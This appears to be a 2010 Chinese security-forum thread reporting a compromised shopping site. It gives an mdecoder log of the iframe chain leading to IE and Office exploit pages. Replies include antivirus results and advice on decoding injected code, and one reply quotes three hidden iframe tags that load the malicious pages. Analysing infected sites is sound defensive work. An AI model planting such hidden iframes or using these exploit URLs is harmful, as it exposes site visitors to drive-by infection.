http://shijiegou.com/(世界购)

显示全部楼层 · 发表于 2010-8-17 11:30:09

Log generated by 是昔流芳 use mdecoder 0.67
[root]http://shijiegou.com/?product-81-def-viewpic.html
[iframe]http://kwaizi.w63.cndns2.com/anhey.html
      [iframe]http://kwaizi.w63.cndns2.com/love.html
         [iframe]http://kwaizi.w63.cndns2.com/n73.htm
            [iframe]http://kwaizi.w63.cndns2.com/ahf.htm
                  [iframe]http://kwaizi.w63.cndns2.com/i1.htm
                     [script]http://kwaizi.w63.cndns2.com/swfobject.js
                     [flash]http://kwaizi.w63.cndns2.com/i115.swf
                     [flash]http://kwaizi.w63.cndns2.com/i47.swf
                     [flash]http://kwaizi.w63.cndns2.com/i45.swf
                     [flash]http://kwaizi.w63.cndns2.com/i64.swf
                     [iframe]http://kwaizi.w63.cndns2.com/f10.htm
                  [iframe]http://kwaizi.w63.cndns2.com/f2.htm
                     [script]http://kwaizi.w63.cndns2.com/swfobject.js
                     [flash]http://kwaizi.w63.cndns2.com/f115.swf
                     [flash]http://kwaizi.w63.cndns2.com/f47.swf
                     [flash]http://kwaizi.w63.cndns2.com/f45.swf
                     [flash]http://kwaizi.w63.cndns2.com/f64.swf
                     [iframe]http://kwaizi.w63.cndns2.com/f10.htm
                        [iframe]http://kwaizi.w63.cndns2.com/ff.html
                              [flash]http://kwaizi.w63.cndns2.com/xp.swf
                              [script]http://kwaizi.w63.cndns2.com/ff.jpg
                        [iframe]http://kwaizi.w63.cndns2.com/ie.html
                              [flash]http://kwaizi.w63.cndns2.com/xp.swf
                              [script]http://kwaizi.w63.cndns2.com/ie.jpg
                        [iframe]http://kwaizi.w63.cndns2.com/ff.html
                        [iframe]http://kwaizi.w63.cndns2.com/ie.html
                        [iframe]http://kwaizi.w63.cndns2.com/ie.html
                        [iframe]http://kwaizi.w63.cndns2.com/ff.html
                  [iframe]http://kwaizi.w63.cndns2.com/i1.htm
         [iframe]http://kwaizi.w63.cndns2.com/18.htm
            [script]http://kwaizi.w63.cndns2.com/party.css
         [exp]http://kwaizi.w63.cndns2.com/19.htm(Exploit.Ie0dayCVE0806.a)
         [iframe]http://kwaizi.w63.cndns2.com/n95.htm
            [exp]http://kwaizi.w63.cndns2.com/of.htm(Exploit.OfficeSpreadsheet.a)
                  [script]http://kwaizi.w63.cndns2.com/bgg.jpg
                  [script]http://kwaizi.w63.cndns2.com/agg.jpg
[iframe]http://kwaizi.w63.cndns2.com/ms10-018.htm
[iframe]http://www.frchina.net/anhey.html
[flash]http://shijiegou.com/statics/pic-view.swf

显示全部楼层 · 发表于 2010-8-17 12:01:59

Mal/HTMLGen-A

sophos 网页防护阻断

显示全部楼层 · 发表于 2010-8-17 13:10:24

打不开

显示全部楼层 · 发表于 2010-8-17 14:11:10

回复 1楼 是昔流芳 的帖子
看了你昨天告诉我的解密挂马网站的教程，也按照里面的例子边学边练，感觉里面的几种加密方式我都会解了，可随便找了一个挂马网站练练却发现我还是不会啊！

显示全部楼层 · 发表于 2010-8-17 16:40:17

回复 4楼 bc123 的帖子

不会没什么，在卡饭发帖问就是了，会有人告诉你该如何解。不过我建议你在提问前最好尽自己最大的努力试一下，把你用过的方法贴上来，这样收获才会比较大。

显示全部楼层 · 发表于 2010-8-17 17:07:19

本帖最后由 bc123 于 2010.8.17 17:08 编辑

回复 5楼 是昔流芳 的帖子
就拿以下网址来说：http://shijiegou.com/，我用FreShow1.5载入该站点的源代码并没有发现有什么异常。只觉得最后的一段带document.write字样的脚本代码看起来比较可疑，于是拷贝到记事本并将document.write替换为alert并保存为html文件运行，结果发现是http://www.google-analytics.com/ga.js，希望能指点一下！

显示全部楼层 · 发表于 2010-8-17 17:31:10

回复 6楼 bc123 的帖子

http://www.google-analytics.com/ga.js这是谷歌的，没有问题

<iframe src=http://kwaizi.w63.cndns2.com/anhey.html width=123 height=1></iframe> <iframe src=http://kwaizi.w63.cndns2.com/ms10-018.htm width=123 height=1></iframe> <iframe src=http://www.frchina.net/anhey.html width=123 height=1></iframe>

复制代码

看一下这三个，很可疑，可以先着手分析这三个。同样，使用FreShow也可以将这三个框架过滤出来

显示全部楼层 · 发表于 2010-8-17 22:10:23

ESET 沉默

[其它] http://shijiegou.com/(世界购)